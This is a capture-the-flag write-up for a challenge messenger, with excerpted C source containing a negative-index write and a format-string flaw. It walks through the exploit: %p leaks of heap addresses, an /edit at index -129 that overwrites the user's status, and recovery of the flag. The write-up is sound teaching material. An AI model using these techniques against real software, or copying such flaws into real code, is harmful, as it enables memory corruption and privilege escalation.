---
# System prepended metadata

title: RozMessenger writeup

---

# RozMessenger writeup

In this task, we are given access to the messenger via telnet/netcat and part of the backend source code

## Preparation
Firstly, let's check the source code (there are only important things):

```cpp
struct Message
{
    int senderId;
    char text[256];
    int isEncrypted;
    // int isEditable; // <- it looks like the message editing mechanism has been redesigned
}; // <- Total size = 4+256+4 = 0x108

struct Chat
{
    int chatId;
    char name[100];
    int receiverId;
    struct Message messages[128];
    int messageCount;
    int userMessageCount;
}; // <- Total size = 4+100+4+128*(4+256+4)+4+4 = 0x8474 + (maybe some alignment)

struct User
{
    int userId;
    char STATUS;
    char name[100];
    struct Message *messages_query;
}; // <- total size = 4+1+100+8 = 0x71 + some alignment


struct User *user; // <- Global pointer to user struct

void checkUserPermissions(); // func without code, so in order to compile the code, we need to define this. Just add '{}'

struct Chat chats[128]; // <- !Chats buffer allocated on heap!

...

int getChat(int chatId, struct Chat *chat){
    ...
    memcpy(chat, &chats[chatId], sizeof(struct Chat)); // <- The current chat has been stored in some buffer
    ...
}

...
    
void getFormatForMessage(char *format, struct Message *message, int id){}; // <- totally secure function, I checked it out :)
...
    
void printMessage(struct Message *message, int id){}; // also totally secure func, no vulns here
...
int changeChat(struct Chat *chat, int chatId){

    if (!saveChat(chat)){ // <- saving chat on changing
        return 0;
    }
    return getChat(chatId, chat);
}
...

int editMessageHandler(struct Chat *chat, int messageId)
{
    if (messageId >= chat->messageCount) // <- ! no checks for a negative index !
    {
        ...
        return 0;
    }
    if (chat->messages[messageId].senderId != user->userId) // <- bad check, because our user id = 0
    {
        ...
        return 0;
    }
    ...
}


int main()
{
    ...
    user = malloc(sizeof(struct User)); // <- !User struct allocated on heap!
    struct User temp_user = {0, 0, "NONE", malloc(sizeof(struct Message) * 128)};
    memcpy(user, &temp_user, sizeof(struct User));

    struct Chat mainChat = {-1, "Main Chat", 0, {}, 0, 0};
    struct Chat *temp_chats = malloc(sizeof(struct Chat) * 128); // Temp chats allocated on heap
    struct Chat *chat = malloc(sizeof(struct Chat)); // Chat buffer also allocated on heap after user struct
    memcpy(chat, &mainChat, sizeof(struct Chat));

    ...
    checkUserPermissions(user); // useless because we don't have any code
    
    load_chats();
    ...
    int isExit = 0;
    while (!isExit)
    {
        // read command
        ...

        // process command
        ...
        else if (strcmp(command, "/ch_chat") == 0)
        {
            clearScreen();
            // print all chats
            printf("[*] Chats:\n");
            for (int i = 0; i < chatsLength; i++)
            {
                printf("\t[%d] %s\n", i, chats[i].name);
            }

            // read chat id
            ...

            // change chat

            if (!changeChat(chat, chatId)){ // <- save, no arbitrary index init
                ...   
            }
            ...
        }
        else if (strcmp(command, "/chat") == 0){
            // printing messages
                ...
            // enter to chat menu
            int isExitChat = 0;
            while (!isExitChat){
                // read command
                ...
                // process command
                ...
                else if (strcmp(command, "/show") == 0){
                    // show chat messages
                    ...
                }
                else if (strcmp(command, "/send") == 0){
                    // read message
                    char message[256];
                    if (user->STATUS == 0)
                        // annoying message
                        read_data(message, 50);
                    else
                        read_data(message, 256);
                    
                    // send message
                    if (chat->messageCount >= 128){
                        // overflow check
                        printf("[!] Chat is full (128 messages)\n");
                    }
                    else{
                        chat->messages[chat->messageCount].senderId = user->userId;
                        strcpy(chat->messages[chat->messageCount].text, message);
                        chat->messages[chat->messageCount].isEncrypted = 0;
                        
                        if (user->STATUS != 0)
                            // Premium staff
                            ...
                        chat->messageCount++;
                        ...
                        // safe print message
                    }
                }
                else if (strcmp(command, "/edit") == 0){
                    // read message id
                    int messageId;
                    printf("[?] Message id -> ");
                    scanf("%d", &messageId);

                    editMessageHandler(chat, messageId); // <- !INSECURE FUNCTION!
                    saveChat(chat);
                }
                else if (strcmp(command, "/exit") == 0)
                    // exit chat menu
                    isExitChat = 1;
                else
                    printf("[!] Unknown command %s\n", command);
            }
        }
        
        else if (strcmp(command, "/search") == 0){
            // read message
            char message[256];
            int chatCount = getAllChats(temp_chats);
            ...
            // search message

            int count = searchMessageInAllChats(temp_chats, chatCount, message, user->messages_query, 128);
            char buffer[256];
            for (int i = 0; i < count; i++){
                ...
                if (user->messages_query[i].isEncrypted){ // <- searchMessageInAllChats returns encrypted messages only if Premium, so, no information leak
                    printf(decryptMessage(&user->messages_query[i], buffer)); // <- !PREMIUM-CONTROLLED FORMAT STRING!
                }
                else
                {
                    printf(user->messages_query[i].text); // <- !USER-CONTROLLED FORMAT STRING!
                }
            }
            ...
        }
        else if (strcmp(command, "/exit") == 0){
            // exit
        }
        else if (strcmp(command, "/whoami") == 0){
            // show user info
            printf("[*] User info:\n");
            printf("\tid: %d\n", user->userId);
            printf("\tname: %s\n", user->name);
            printf("\tstatus: %s\n", user->STATUS == 0 ? "freemium" : "premium"); // <- Hmm, non-zero status is premium... 
        }
        else if (strcmp(command, "/buy_premium") == 0){
            // scam
        }
        ...
    }
    ...
    return 0;
}


```

So, we have vulnerable pieces of code:
 - arbitrary index write (negative values)
```cpp
else if (strcmp(command, "/edit") == 0){
    // read message id
    ...
    editMessageHandler(chat, messageId);
    ...
}
```

 - Stack leakage (via format string)
```cpp
 else if (strcmp(command, "/search") == 0){
    ...
    for (int i = 0; i < count; i++){
        ...
        printf(user->messages_query[i].text);
    }
    ...
}
```

> P.S. We can use a format string to RCE, but in this case it's overkill.


## Grand plan
Our next steps are:
1. Leak addresses of User struct and Chat struct (and hope that User struct allocated before Chat struct) via `/search`
2. Сalculate the difference between them and rewrite User via `/edit` 

### Step one. Leaking addresses
Let's send (for example to vos) a new message like this:
`%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p`

If we send it and save chat (`/edit` or `/ch_chat`), and after `/search` for our new message, we will get this output:
```
[?] Text to search for -> %p


*******0********
Sender: roz
0x7ffd4b2afba0.(nil).0x561d7e4d0320.(nil).0x73.(nil).(nil).0x600000005.0x1.0x6.0x100000005.0x7f05a4df5010.0x561d7e4d8730.0x4e4f4e0000000000.0x45

```

Where:
* **0x561d7e4d0320** - pointer to messages_query, allocated right after the user structure (left from ```searchMessageInAllChats(temp_chats, chatCount, message, user->messages_query, 128)```, 
so **User struct addr** = 0x561d7e4d0320 - sizeof(User) = **0x561d7e4d02a0**
* **0x561d7e4d8730** - pointer to Chat structure

Cool, we get all of what we need, so we can continue to step 2

### Step two. Rewrite

If we just divide 0x561d7e4d02a0 - 0x561d7e4d8730 by 0x108, we get -128.(54), so we need to use -129 index to rewrite the User struct, and write at least 12 symbols for replacing STATUS field in the structure. 
> P.S. To calculate it appropriately, you can build the code on the x84_64 arch and look into a debugger.

Let's do this:
```
[vos] Command -> /edit
[?] Message id -> -129
[?] New message (max 256 chars): abcdefghijklmnop
[*] Message edited

[vos] Command -> /exit

[menu] Command -> /whoami

[*] User info:
        id: 1818978921 <-- ijkl in little endian
        name: nop
        status: premium <- non zero, so premium!

```

Wow! Now we are premium. Read an encrypted message from Mary and get the flag!

```
┌-nop---------┐
| Hello, Mary |
└---------(0)-┘

┌-Mary <3-┐
| Hi      |
└-----(1)-┘

┌-nop----------┐
| How are you? |
└----------(2)-┘

┌-Mary <3----------┐
| I'm fine, thanks |
└--------------(3)-┘

┌-nop---------------┐
| Nice to hear that |
└---------------(4)-┘

┌-Mary <3------------------------┐
| Hey, i have secret message for |
|  you                           |
└----------------------------(5)-┘

┌-nop---------┐
| What is it? |
└---------(6)-┘

┌-Mary <3----------------------┐
| hli{m000m_i_h@k3d_m3ss3ng3r} |
└[e]-----------------------(7)-┘

[★Mary <3★] Command ->
```
